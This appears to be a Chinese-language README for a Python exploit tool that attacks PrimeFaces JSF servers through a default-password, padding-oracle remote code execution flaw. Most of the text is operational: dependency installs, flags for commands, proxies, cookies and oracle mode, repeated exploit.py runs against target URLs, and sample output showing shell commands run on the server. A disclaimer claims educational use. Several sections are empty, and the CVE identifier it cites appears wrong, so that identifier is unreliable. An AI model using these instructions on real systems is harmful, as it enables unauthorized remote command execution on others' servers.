============================================================
关于漏洞
CVE-2020-1039909 是 Primefaces JSF 框架中的一个远程代码执行(RCE)漏洞。该缺陷允许攻击者通过 Padding Oracle 攻击在服务器上执行任意命令,原因是使用了弱加密和默认密码。
受影响版本:
影响:
============================================================
前置条件
安装依赖:
pip install requests pycryptodome paddingoracle
============================================================
可用命令
基本参数:
target 目标 URL(例如:http://target.com) -pw, --password Primefaces 密码(默认:primefaces) -pt, --path dynamiccontent.properties 的路径 (默认:/javax.faces.resource/dynamiccontent.properties.xhtml) -c, --cmd 要执行的命令(默认:whoami) -poc, --poc 使用测试载荷(仅验证漏洞) -px, --proxy 配置代理(例如:http://127.0.0.1:8080) -ck, --cookie 配置 Cookie -o, --oracle 启用 Padding Oracle 攻击(1 = 启用,0 = 禁用) (默认:0)(较慢) -pl, --payload 加密的 EL 载荷(用于配合 Padding Oracle)
============================================================
使用示例
python3 exploit.py http://target.com
python3 exploit.py http://target.com -c "id"
python3 exploit.py http://target.com --poc
python3 exploit.py http://target.com -px http://127.0.0.1:8080
python3 exploit.py http://target.com -ck "JSESSIONID=xxx"
python3 exploit.py http://target.com -o 1 -c "whoami"
python3 exploit.py http://target.com -pl "payload_criptografado"
============================================================
输出示例
$ python3 exploit.py http://target.com -c "id"
[] Generated Encrypted Payload: xyz123... [] Attempting to execute: id
POST /javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1 ...
HTTP/1.1 200 OK ...
[+] Exploit Result:
HTTP/1.1 200 OK ...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================
POC 模式(漏洞测试)
POC 模式仅验证目标是否存在漏洞,不执行危险命令:
python3 exploit.py http://target.com --poc
存在漏洞时的预期输出:
[+] BANG!!! :D - Target IS VULNERABLE!!!
不存在漏洞时的输出:
[-] Target Probably NOT VULNERABLE :-(
============================================================
PADDING ORACLE(慢速模式)
如果默认攻击无效(响应体为空),请尝试 Padding Oracle 模式。此模式较慢但更有效:
python3 exploit.py http://target.com -o 1 -c "whoami"
============================================================
代理与调试
使用 Burp Suite 分析请求:
python3 exploit.py http://target.com -px http://127.0.0.1:8080
============================================================
常见错误及解决方法
"Response body empty... Target might not be vulnerable" 尝试 Padding Oracle 模式:-o 1
"Target Probably NOT VULNERABLE" 目标可能已打补丁或未使用默认密码
"Connection refused" 检查目标是否可访问
"SSL Error" 使用 http 代替 https,或忽略证书
============================================================
利用技巧
============================================================
免责声明
本软件仅供教育和测试目的使用。作者对因不当使用本工具而造成的任何损害、损失或后果概不负责。
用户应对自己的行为负全部责任。在未经授权的系统上使用此漏洞利用程序是违法的,可能导致民事和刑事处罚。
请负责任且合乎道德地使用。知识是用来分享的,但智慧在于知道如何以及何时使用它。
============================================================
缓解措施(面向管理员)
============================================================
参考资料
============================================================
Developed by byt3l0rd